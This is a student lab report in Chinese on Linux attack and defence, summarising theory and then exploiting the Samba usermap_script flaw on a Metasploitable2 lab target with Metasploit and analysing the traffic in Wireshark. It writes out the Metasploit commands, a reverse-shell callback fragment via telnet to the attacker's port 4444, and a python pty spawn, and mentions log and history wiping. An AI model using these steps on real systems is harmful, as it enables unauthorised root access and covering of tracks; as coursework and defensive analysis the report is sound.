《网络攻防实践》9.0

20199110 2019-2020-2 《网络攻防实践》第八周作业

1.实践内容

第八章是Linux操作系统攻防,属于第三部分系统安全攻防技术与实践。

本章内容包括Linux操作系统基本框架概述、Linux操作系统安全机制、Linux系统远程攻防技术、Linux系统本地安全攻防技术四大块内容。

1.1 Linux操作系统基本框架概述

Linux除了开源和免费外,还具备以下优势:跨平台硬件支持、丰富的软件支持、多用户多任务、可靠的安全性、良好的稳定性、完善的网络功能等。

Linux系统结构包括Linux进程与线程管理机制、Linux内存管理机制、Linux文件系统管理机制、Linux设备控制机制、Linux网络机制、Linux系统调用机制。

1.2 Linux操作系统安全机制

与Windows操作系统类似,Linux操作系统的核心安全机制也主要是身份认证、授权与访问控制、安全审计三部分。

  • Linux身份认证机制
    Linux是一个多用户多任务操作系统,通过创建多种角色类型的用户及用户组来实施用户身份管理,来确保多个用户安全地使用Linux操作系统。

  • Linux授权与访问控制机制
    在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统的授权与访问控制。

  • Linux安全审计机制
    Linux安全审计机制主要通过三个主要日志(连接时间日志、进程统计日志、错误日志记录)子系统来实现,Linux系统事件日志在文件系统中的存储路径集中在/var/log目录。

1.3 Linux系统远程攻防技术

1.3.1 Linux远程口令字猜测攻击

对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统。

支持攻击者进行自动化远程口令猜测工具有Brutus、THC Hydra、Cain and Abel等。

针对远程口令猜测攻击的最佳防御措施是使用不易猜中的强口令字,比如设置包含字母、字母和标点符号的8字符以上口令等。

1.3.2 Linux网络服务远程渗透攻击

发掘Linux系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行,从而为攻击者提供本地Shell的访问权。

Linux系统中容易被远程渗透攻击的网络服务有:Linux内核中的网络协议栈实现,LAMP Web网站构建解决方案中的网络服务,FTP、Samba、NFS等文件共享服务,电子邮件收发服务,其他网络服务(OpeSSH、OpenSSL等)。

针对网络服务远程渗透攻击的安全防范措施有:禁用所有不必要网路服务、尽量选择更安全的网络协议与服务软件并使用最佳安全实践进行部署、及时更新网络服务版本、使用xinetd和防火墙为Linux网络服务添加网络访问控制机制、建立入侵检测与应急响应计划流程等。

1.3.3 攻击Linux客户端程序和用户

通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开Linux系统的大门。

互联网用户最常用的客户端程序主要为Web浏览器和电子邮件客户端,而Linux系统最易被攻击的是Mozilla出品的Firefox浏览器和Thunderbird电子邮件客户端软件。除了利用客户端程序中的安全漏洞实施渗透攻击之外,有经验的攻击者往往会通过对服务器管理员进行Google Hacking和社会工程学攻击。

针对客户端与用户攻击的安全防范措施有急事更新常用网络客户端软件、提高自身的抗欺骗能力避免社会工程学攻击等。

1.3.4 攻击Linux路由器和监听器

在Linux系统作为连接多个网络的路由器,或者打开“混杂模式” 实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。

Linux系统上用来实施监听与入侵检测的主流开源软件包括Libpcap抓包库、tcpdump命令行程序、Wireshark网络监听与协议分析软件、Snort入侵检测系统等。

针对路由器与监听器攻击的安全防范措施有及时关注厂商的安全威胁报告并及时修补安全问题、在建设网络安全体系时多从攻击者角度思考问题并尝试渗透攻击测试以确保安全性、关注使用的安全设备与软件自身的安全性且及时修补等。

1.4 Linux系统本地安全攻防技术

1.4.1 Linux本地特权提升

  • 第一种特权提升途径就是能够破解出Root用户的口令,然后执行su或sudo命令进行提升。Linux系统上进行口令字破解的经典软件工具是John the Ripper。

  • 第二种特权提升途径就是发掘并利用su或sudo程序中的安全漏洞。Su/sudo命令程序是Linux系统上进行用户权限合法提升的标准途径,因而也是黑客安全漏洞发掘的重要对象。

  • 第三种特权提升途径是攻击用户态SUID特权提升漏洞(利用用户态SUID程序漏洞进行特权提升、针对SUID程序的本地缓冲区溢出攻击、针对SUID程序的符号链接攻击、针对SUID程序的竞争条件攻击、针对SUID程序的共享函数库攻击等)和攻击Linux内核代码特权提升漏洞(利用内核空间代码漏洞进行特权提升、利用系统配置不当实施本地特权提升等)。

针对Linux本地提权提升攻击的防范措施有移除不必要设置SUID特权程序、及时对服务器进行升级维护消除高危漏洞带来的攻击、及时进行提权代码和内核的升级以修补本地特权安全漏洞、安全配置系统避免引入诸如敏感位置全局可写文件等不安全的配置、在Linux服务器中应用SELinux等安全增强模块等。

1.4.2 Linux系统上的消踪灭迹

Linux系统的主要审计日志集中在/var/log目录下,主要由系统核心进程、syslogd与各个网络服务提供事件审计功能。抹除Linux系统行为记录日志的首要步骤是改变当前活动的日志,还需要清理shell程序中所输入的命令历史记录。

1.4.3 Linux系统远程控制后门程序

Linux系统上植入远程控制后门程序的类型主要有:特洛伊木马化的系统程序、命令行后门工具以及图形化后门工具。由于攻击者通常引入Rootkit技术来对Linux后门程序进行隐藏,预防Rootkit进入内核成为了最好的对策,使用诸如LIDS(Linux Intrusion Detection System)之类的程序是很好的预防措施。

2.实践过程

任务一

动手实践:使用Metasploit进行Linux远程渗透攻击
使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
(1)启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
(2)使用exploit: exploit/multi/samba/usermap_script渗透攻击模块;
(3)选择攻击PAYLOAD为远程Shell,(正向或反向连接均可);
(4)设置渗透攻击参数(RHOST, LHOST, TARGET等);
(5)执行渗透攻击;
(6)查看是否正确得到远程Shell,并查看获得的权限。

本次操作选择kali(A)作为攻击机,Metasploitable2(B)作为靶机。攻击目标漏洞为Samba服务usermap_script安全漏洞。为确保两部机子在局域网状态,将两者适配器调整为VMnet8(NAT模式)。分别通过sudo ifconfig和ifconfig查到IP(A)为192.168.200.5、IP(B)为192.168.200.12。

(1)通过输入sudo msfconsole指令进入操作台。

(2)首先通过search usermap_script查找漏洞信息,然后通过use exploit/multi/samba/usermap_script使用相关攻击脚本,接着使用show payloads查看payload类型。

(3)使用set payload cmd/unix/reverse选择攻击PAYLOAD。然后分别使用set LHOST IP(A)set RHOST IP(B)进行表示攻击机IP地址和靶机IP地址设置,设置完成后,使用exploit进行攻击。

(4)攻击完成后,根据提示操作得到远程shell,我们使用ifconfig查询靶机IP,靶机IP成功获取。通过和靶机ifconfig查询结果对比,IP相关信息无误。表明攻击成功。

(5)然后我们在/home/msfadmin下使用mkdir msfconsole指令创建了msfconsole目录。通过对比攻击机和靶机查询结果,发现远程创建目录成功,这说明我们已经获得了靶机的文档操作权。再通过whoami查询,发现我们已经获得了root权限,而靶机仍然是非root账号登录,这表明提权成功。

任务二

攻防对抗实践:攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机实施网络攻击,防御方则在Metasploitatble上使用tcpdump或Wireshark或Snort工具捕获攻击流,并分析出攻击者利用了哪个安全漏洞进行攻击,从官方网站上下载该安全漏洞补丁进行系统修补,双方合作给出攻防过程报告。
攻击方:使用Metasploit,选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
防守方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合 wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode, 以及成功之后在本地执行命令输入等信息。
团队合作完成渗透攻击与分析实验报告。
本任务选择攻击的漏洞为任务一所攻击漏洞,因此攻击操作与任务一相同,下面主要对Wireshark抓包内容进行分析。
(1)通过对Wireshark抓包分析,我们可以得到攻击者IP为192.168.200.5,目标IP为192.168.200.12,目标端口为139。经过查询可知139号端口是Unix中的Samba服务端口,可知攻击利用了Samba服务漏洞。攻击发起时间是从ARP协议的询问开始。

(2)从第一个SMB数据包中找到shellcode如图所示。其中,nohupno hang up的缩写,就是不挂断的意思,用nohup运行命令可以使命令永久的执行下去,和用户终端没有关系;telnet 192.168.200.5 4444表明数据是通过4444号通信端口管控传入攻击机的;sh是linux中运行shell的命令,是shell的解释器。

(3)通过进一步的tcp流分析,我们可以看到成功之后在本地执行命令的信息。

(4)出于base64的明显性,通过base解码,我们得到import pty;pty.spawn('/bin/sh'),可以看出这里是通过借用python的权限弹出具有高权限的窗口。

3.学习中遇到的问题及解决

  • 问题1:在选择payload载荷时,不知道应该选择哪个载荷进行设置。

  • 问题1解决方案:根据此前实验的经验,锁定了generic和reverse。分别实验后,确定使用reverse进行实验。

  • 问题2:使用Wireshark进行抓包分析时,有点不知从何下手。

  • 问题2解决方案:通过参考同学博客和上网查询,逐步了解了攻击过程中抓取数据包的内容。

4.实践总结

本次实验在上次实验的基础上,系统发生了改变,由Windows系统转换到了Linux。两次实验攻击指令大同小异,区别比较大的是漏洞载荷,这也是两者攻击手段区别明显的地方。不用载荷代表的意义不同,意味着攻击手段也是不一样的。

总体而言,本次实践作业不难。但是理论和知识点一块内容比较多,需要花更多时间去消化。

参考资料

原文地址:https://www.cnblogs.com/y1150182239/p/12717866.html